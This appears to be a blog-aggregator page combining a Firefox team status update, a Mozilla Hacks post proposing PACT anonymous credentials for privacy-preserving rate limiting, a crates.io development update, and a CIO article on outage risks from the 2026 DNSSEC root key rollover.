Maxx Crawford guarded document.dir access in Nova render paths to avoid startup cache worker errors and improve startup stability.
Rolf added a new normalization method for the inferred interest vector to stabilize topic relevance across sessions.
Rolf prevented unnecessary content refreshes during Pocket New Tab experiments, reducing jank and bandwidth.
Sameeksha defined the Customize button’s expanded/collapsed state programmatically using aria-expanded for better a11y.
liz clarified follow/unfollow/blocked button names with topic context so screen readers announce clear actions.
Vector marked the Delete from History control as opening a dialog via aria-haspopup=dialog for assistive tech.
Scott Downe fixed a regression that flipped the Wallpapers pref off, restoring user selections.
Irene Ni corrected privacy link color and focus styles for contrast and keyboard visibility.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.

Search and Urlbar

Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
Work also continues on the new Nova layouts.

Smart Window

uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect

jump to bottom of conversation 2028692
stop streaming button 2029204
back/forward navigation from assistant 2029229
dark mode for various chips 2024499

search engine switching from smart bar 2021973
Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

Dustin converted moz-breadcrumb-group variables into JSON design tokens Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens
Dustin converted moz-box-* variables into JSON design tokens Bug 2029180 – Convert moz-box-* variables into JSON design tokens
Dustin converted moz-promo variables to JSON design tokens Bug 2029190 – Convert moz-promo variables into JSON design tokens
Dustin converted moz-reorderable-list variables to JSON design tokens Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens
Dustin converted moz-visual-picker variables to JSON design tokens Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens
Dustin updated browser-shared.css so it passes use-design-tokens Bug 2022985 – Update browser-shared.css so it passes use-design-tokens
Dustin updated popup.css so it passes use-design-tokens Bug 2022979 – Update popup.css so it passes use-design-tokens
Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  Bug 1955325 – Create opacity tokens
Jon converted toolbar design tokens to JSON Bug 2017970 – Convert toolbar design tokens to json
Anna fixed moz-select with panel-list drop-down size inconsistency Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened
Anna fixed issue with the disabled state of moz-radio component Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled
Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically

UX Fundamentals

The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

Tim converted settings related to Accessibility page to config-based pane Bug 1968116 – Convert settings related to Accessibility page to config-based settings
Benjamin converted Privacy & Security page to the config-based pane Bug 1968112 – Convert settings related to Privacy & Security page to config-based settings
Finn integrated Firefox Labs page into setting-pane config Bug 2021047 – Integrate Firefox Labs page into setting-pane config
Anna converted Firefox Updates section to config-based prefs Bug 1990961 – Convert Firefox Updates section to config-based prefs
Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings Bug 2015093 – Add a moz-promo to welcome users to the redesign

Anna added possibility to search for actions in the redesigned “Applications” section Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section
Anna fixed the Settings navbar layout breakage

Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web
Sat, 25 Jul 2026 08:37:27 +0200
This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome. 
Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. 
Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans. 
Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. 
This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. 
Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.
The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers. 
The Costs of Convenient Solutions
Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.
Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.
Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.
However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors. 
Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.
A Better Path Forward 
Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  
Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. 
However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work. 
What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. 
As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. 
The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking. 
Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.
The Foundations 
The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. 

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history. 
Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. 
Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you. 
Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably. 
Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 
To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. 
Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected. 
Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. 
Putting it together 
So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. 
Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites. 
That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. 
We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 
In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time. 
Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one. 
When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy. 
Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. 
The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.
Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  
Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.
In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction. 
AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. 
Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.
The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.
Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.
Next Steps 
We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.
We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. 
If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need. 
Acknowledgements
The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun.  

[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

The Rust Programming Language Blog: crates.io: development update
Sat, 25 Jul 2026 08:37:18 +0200
Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.
Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.
The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub
At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.
The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions
In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris
The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed
In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.
We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.
We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous
These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback
We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

CIOs beware: DNS KSK rollover could kick off wave of mysterious outages
Sat, 25 Jul 2026 06:16:22 +0200

Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.

That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.

Sai Joshitha Kathari, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.

“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. 

The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. 

“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”

Independent technology analyst Carmi Levy says that CIOs need to take this event very seriously. 

“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”

Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”

The DNSSEC update itself is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. 

The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”

Expect nearly every enterprise to be impacted

Kim Davies, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. 

But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. 

“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”

As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”

Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”

Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. 

“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”

Sanchit Vir Gogia, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.

“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”

“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”

It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. 

“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” Justin Greis, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”

Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. 

Potentially widespread fallout

A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. 

“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”

Greis adds that many enterprises will discover in January problems created by their own automation.

“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”

The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.

Cricket Liu, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.

“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”

